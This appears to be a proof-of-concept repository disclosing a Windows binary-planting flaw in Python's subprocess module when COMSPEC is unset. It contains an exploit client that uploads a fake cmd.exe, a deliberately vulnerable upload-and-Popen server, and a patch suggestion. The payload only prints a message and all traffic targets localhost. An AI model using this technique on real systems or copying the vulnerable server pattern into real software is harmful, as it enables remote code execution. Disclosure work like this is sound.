POC

Author: mauricelambert

RCE_program.c

@@ -0,0 +1,3 @@
+#include <stdio.h>
+int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
+# gcc -o not_cmd.exe RCE_program.c

README.md

@@ -0,0 +1,76 @@
+# Python Subprocess Vulnerability - POC RCE
+
+There is a vulnerability in python `subprocess` module.
+When `subprocess.Popen` was launched with `shell=True` on Windows and without `COMSPEC` environment variable,
+the executable launched is `cmd.exe` and the full path is not defined.
+
+It's possible to launch a malicious `cmd.exe` file from working directory
+or any any path before the `C:\Windows\system32` directory in the `PATH`.
+
+## Requirements
+
+ - Windows machine without `COMSPEC`
+ - Use `subprocess.Popen` or any `subprocess` function that use `subprocess.Popen` with `shell=True`
+ - Possible upload in working directory or any path before the `C:\Windows\system32` directory in the `PATH`
+ 
+## Patch
+
+Replace `cmd.exe` by `C:\WINDOWS\system32\cmd.exe` in `subprocess` module.
+
+## Client Exploit
+
+### Fake malicious cmd.exe for POC
+
+```c
+#include <stdio.h>
+int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
+# gcc -o not_cmd.exe RCE_program.c
+```
+
+### Python HTTP client
+
+```python
+from urllib.request import Request, urlopen
+
+get_response = urlopen("http://127.0.0.1:8000/")
+post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # upload a malicious cmd.exe file
+exploit_response = urlopen("http://127.0.0.1:8000/")                                                     # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe
+```
+
+## Vulnerable server code
+
+```python
+from wsgiref.simple_server import make_server
+from subprocess import Popen, DEVNULL
+from os.path import basename
+from sys import executable
+from os import environ
+
+del environ['COMSPEC']  # force environment without COMSPEC
+
+def app(environ, start_response):
+    method = environ["REQUEST_METHOD"]
+    if method == "GET":
+        process = Popen("myprogram", shell=True, stderr=DEVNULL)
+        process.communicate()
+        status = "200 OK"
+        content = b"GET OK"
+    elif method == "POST":
+        status = "200 OK"
+        content = b"File uploaded successfully."
+        content_length = environ.get("CONTENT_LENGTH", "0")
+        if content_length.isdigit():
+            with open(basename(environ["PATH_INFO"]), 'wb') as file:
+                file.write(environ["wsgi.input"].read(int(content_length)))
+        else:
+            status = "400 Bad Request"
+            content = b'Invalid Content-Length header.'
+    else:
+        status = "400 Bad Request"
+        content = b"Only GET and POST methods allowed."
+    start_response(status, [('Content-type', 'text/plain')])
+    return (content,)
+
+with make_server('127.0.0.1', 8000, app) as httpd:
+    httpd.serve_forever()
+```

client_exploit.py

@@ -0,0 +1,5 @@
+from urllib.request import Request, urlopen
+
+get_response = urlopen("http://127.0.0.1:8000/")
+post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # write a cmd.exe file
+exploit_response = urlopen("http://127.0.0.1:8000/")                                                     # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe

server.py

@@ -0,0 +1,33 @@
+from wsgiref.simple_server import make_server
+from subprocess import Popen, DEVNULL
+from os.path import basename
+from sys import executable
+from os import environ
+
+del environ['COMSPEC']  # force environment without COMSPEC
+
+def app(environ, start_response):
+    method = environ["REQUEST_METHOD"]
+    if method == "GET":
+        process = Popen("myprogram", shell=True, stderr=DEVNULL)
+        process.communicate()
+        status = "200 OK"
+        content = b"GET OK"
+    elif method == "POST":
+        status = "200 OK"
+        content = b"File uploaded successfully."
+        content_length = environ.get("CONTENT_LENGTH", "0")
+        if content_length.isdigit():
+            with open(basename(environ["PATH_INFO"]), 'wb') as file:
+                file.write(environ["wsgi.input"].read(int(content_length)))
+        else:
+            status = "400 Bad Request"
+            content = b'Invalid Content-Length header.'
+    else:
+        status = "400 Bad Request"
+        content = b"Only GET and POST methods allowed."
+    start_response(status, [('Content-type', 'text/plain')])
+    return (content,)
+
+with make_server('127.0.0.1', 8000, app) as httpd:
+    httpd.serve_forever()